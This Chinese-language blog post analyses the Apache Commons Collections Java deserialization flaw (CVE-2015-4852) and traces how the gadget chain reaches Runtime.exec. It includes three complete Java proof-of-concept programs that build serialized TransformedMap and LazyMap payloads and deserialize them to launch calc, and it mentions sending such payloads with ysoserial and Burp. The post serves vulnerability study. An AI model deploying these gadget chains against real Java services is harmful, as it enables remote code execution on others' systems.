Commons Collections JAVA反序列化漏洞分析

(一) Commons Collections漏洞简介

2015年11月6日,FoxGlove Security安全团队的@breenmachine 发布的一篇博客[1]介绍了如何利用Java反序列化漏洞,来攻击WebLogic、WebSphere、JBoss、Jenkins、OpenNMS这些Java应用,实现远程代码执行。【影响到WebLogic的反序列化漏洞定为CVE-2015-4852】

其实,博客作者并不是漏洞发现者。博客中提到,早在2015年的1月28号,Gabriel Lawrence (@gebl)和Chris Frohoff (@frohoff)在AppSecCali上给出了一个报告[2],报告中介绍了Java反序列化漏洞可以利用Apache Commons Collections这个常用的Java库来实现任意代码执行,当时并没有引起太大的关注,,可以说是2015年最被低估的漏洞。

Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为Apache开源项目的重要组件,Commons Collections被广泛应用于各种Java应用的开发。

该漏洞的出现的根源在Commons Collections组件中对于集合的操作存在可以进行反射调用的方法,并且该方法在相关对象反序列化时并未进行任何校验。

(二) InvokerTransformer类的transform()方法

InvokerTransformer类的transform()方法是漏洞的根源,可以看到该该方法中采用了反射的方法进行函数调用,Input参数为要进行反射的对象,iMethodName,iParamTypes为调用的方法名称以及该方法的参数类型,iArgs为对应方法的参数

在invokeTransformer这个类的构造函数中可以发现,这三个参数均为可控参数

InvokerTransformer是Transformer接口的实现类。
org.apache.commons.collections.Transformer接口上,可以看到该接口值定义了transform方法, 作用是给定一个Object对象经过转换后同时也返回一个Object

(三) 找谁调用InvokerTransformer的transform

后面核心的问题就是寻找哪些类调用了Transformer接口中的transform方法。通过eclipse找到了以下类调用了该方法,有两个比较明显的类调用了transform方法,分别是TransformedMap 和 LazyMap
说明:ysoserial中的POC大多使用LazyMap来进行构造,其实这里TransformedMap构造触发更为简单,但是TransformedMap+ AnnotationInvocationHandler可能触发不成功,因为与jdk版本有关 jdk8u某些版本删除了memberValue.setValue()

(四) TransformedMap分析

1) TransformedMap调用了transform

先分析下TransformedMap类,这个利用链比较简单
TransformedMap类checkSetValue(Object value)方法调用了transform()方法

跟踪下valueTransformer这个变量,看看该变量是在哪被初始化的。看到这里的decorate方法会对valueTransformer进行初始化,同时实例化一个TransformedMap

继续看谁调用了checkSetValue(Object value) ,找到setValue(Object value)方法
在MapEntry类中的setValue()恰好调用了checkSetValue,这里直接触发了tranform函数

为了能成功调用transform方法,找到了TransformedMap方法,发现在checkSetValue(Object value)方法中调用了该方法, 最终在MapEntry类中的setValue恰好调用了checkSetValue,最终触发了tranform函数。

2) 利用反射本地执行命令POC

上面分析完调用关系,那么后面要想任意代码执行,就可以首先构造一个Map和一个能够执行代码的ChainedTransformer,以此生成一个TransformedMap,然后去触发的MapEntry的 setValue()方法,即可触发我们构造的Transformer。
说明:这里的ChainedTransformer为链式的Transformer,会挨个执行我们定义的Transformer

TransformTest2.java

测试代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package lltest;

import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class TransformTest2 {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"calc"})
};
Transformer chain = new ChainedTransformer(transformers) ;
Map innerMap = new HashMap() ;
//key和value的值可以为任意值
innerMap.put("name", "hello") ;
//outerMap类型为TransformedMap
Map outerMap = TransformedMap.decorate(innerMap, null, chain) ;
//获取当前Map.Entry的key和value值
Map.Entry elEntry = (Entry) outerMap.entrySet().iterator().next() ;
//entry类型TransformedMap的父类AbstractInputCheckedMapDecorator
elEntry.setValue("lltest") ;
}
}

现在已经可以本地执行命令,后面就要远程命令执行(利用反序列化)
所以后面漏洞利用的核心条件就是去寻找一个类,在对象进行反序列化时会调用我们构造的MapEntry类的setValue(Object value)方法

3) 找readObject()中调用MapEntry类的setValue()方法

如果Java应用没有对传入的序列化数据进行安全性检查,可以将恶意的TransformedMap序列化后,远程提交给Java应用,如果Java应用可以触发变换,即可成功远程命令执行。结合前述Commons Collections的特性,如果某个可序列化的类重写了readObject()方法,并且在readObject()中调用MapEntry类的setValue()方法,并且这个Map变量是可控的,就可以远程命令执行。于是找到了这个类:AnnotationInvocationHandler

现在转移到sun.reflect.annotation.AnnotationInvocationHandler类上,看在该类进行反序列化时是如何触发漏洞代码的。

跟进sun.reflect.annotation.AnnotationInvocationHandler的源代码
https://github.com/frohoff/jdk8u-jdk/blob/master/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java

这里的成员变量memberValues是Map类型,是我们通过构造AnnotationInvocationHandler 构造函数初始化的变量,也就是我们构造的TransformedMap对象。同时AnnotationInvocationHandler中重写的readObject()方法中恰好有memberValue.setValue()的操作,恰好触发漏洞。
那么就可以实例化一个AnnotationInvocationHandler类,将其成员变量memberValues赋值为含有payload的TransformedMap对象。然后将其序列化,提交给未做安全检测的Java应用。Java应用在AnnotationInvocationHandler.readObject(xx)反序列化时,则会触发TransformedMap的变换函数,执行命令。另外需要注意的是,想要在调用未包含的package中的构造函数,必须通过反射的方式。
所以这里POC执行流程为
TransformedMap->AnnotationInvocationHandler.readObject()->setValue()->checkSetValue()漏洞成功触发。

4) 结合反序列化实现远程命令执行POC

DeserializePayload1.java(TransformedMap)

利用TransformedMap来构造POC或者使用ysoserial生成POC

正常利用,如同ysoserial生成payload 然后burp加载payload即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
package lltest;

import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

//https://joychou.org/java/commons-collections-java-deserialize-vulnerability-analysis.html
//https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/
public class DeserializePayload1 {
public static void main(String[] args) throws Exception {

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};

Transformer transformerChain = new ChainedTransformer(transformers);

Map innermap = new HashMap();

// key的值只能为value,value的值可以为任意值
innermap.put("value", "lltest");

// outerMap类型为TransformedMap
Map outmap = TransformedMap.decorate(innermap, null, transformerChain);

// 调用未包含package中的构造函数,必须通过反射方式
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Retention.class, outmap);

//序列化生成payload
File f = new File("tmp/payload1.ser");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
System.out.println("生成payload 位于tmp/payload1.ser");

//模拟反序列化payload 触发漏洞
ObjectInputStream in = new ObjectInputStream(new FileInputStream("tmp/payload1.ser"));
in.readObject(); // 触发漏洞
in.close();
System.out.println("反序列化tmp/payload1.ser 触发漏洞");
}
}

说明:测试时能否触发成功,是与jdk版本有关
采用AnnotationInvocationHandler类也是有限制的,能否成功利用与JDK的版本有关,
jdk8u中AnnotationInvocationHandler类删除了memberValue.setValue(),所以不能用AnnotationInvocationHandler+TransformedMap来构造反射链。
http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/f8a528d0379d

(五) LazyMap分析

1) LazyMap方法调用了transform方法

分析下LazyMap类,ysoserial中的POC大多使用LazyMap来进行构造,该方式的POC成功率更高。

LazyMap类get(Object key)方法调用了transform()方法

续跟踪facory这个变量看该变量是在哪被初始化的
可看到这里的decorate方法会对factory进行初始化,同时实例化一个LazyMap,

2) 找readObject()中调用LazyMap的get()方法

为了能成功调用transform方法,找到了LazyMap方法,发现在get()方法中调用了该方法,所以说后面漏洞利用的核心条件就是去寻找一个类,在对象进行反序列化时会调用我们构造的get(Object)方法

现在转移到sun.reflect.annotation.AnnotationInvocationHandler类上,看在该类进行反序列化时是如何触发漏洞代码的。

跟进sun.reflect.annotation.AnnotationInvocationHandler的源代码
https://github.com/frohoff/jdk8u-jdk/blob/master/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java

这里的memberValues是通过构造AnnotationInvocationHandler 构造函数初始化的变量,也就是我们构造的lazymap对象,这里我们只需要找到一个memberValues.get(Object)的方法即可触发该漏洞,但是可惜的是该方法里面并没有这个方法。

在readObject方法中并未找到lazymap的get方法,但在sun.reflect.annotation.AnnotationInvocationHandler类里面找看看那个方法调用了memberValues.get(Object)方法,很幸运发现在invoke方法中memberValues.get(Object)被调用

AnnotationInvocationHandler默认实现了InvocationHandler接口,在用Object iswin=Proxy.newInstance(classloader,interface,InvocationHandler)生成动态代理后,当对象iswin在进行对象调用时,那么就会调用InvocationHandler.invoke(xx)方法,所以POC的执行流程为map.xx->proxy(Map).invoke->lazymap.get(xx) 就会触发transform方法从而执行恶意代码

3) 结合反序列化实现远程命令执行POC

DeserializePayload2.java (LazyMap)

代码参考ysoserial的CommonsCollections5的payload
正常利用,如同ysoserial生成payload 然后burp加载payload即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package lltest;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

//https://joychou.org/java/commons-collections-java-deserialize-vulnerability-analysis.html
public class DeserializePayload2 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}),
new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc"}),
new ConstantTransformer("1")
};
Transformer transformChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "lltest");

BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
Field valField = exception.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(exception, entry);

//序列化生成payload
File f = new File("tmp/payload2.ser");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(exception);
out.flush();
out.close();
System.out.println("生成payload 位于tmp/payload2.ser");

//模拟反序列化 触发漏洞
ObjectInputStream in = new ObjectInputStream(new FileInputStream("tmp/payload2.ser"));
in.readObject(); // 触发漏洞
in.close();
System.out.println("反序列化tmp/payload2.ser 触发漏洞");
}
}

参考:
https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
https://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles
https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/
https://www.anquanke.com/post/id/82934
https://security.tencent.com/index.php/blog/msg/97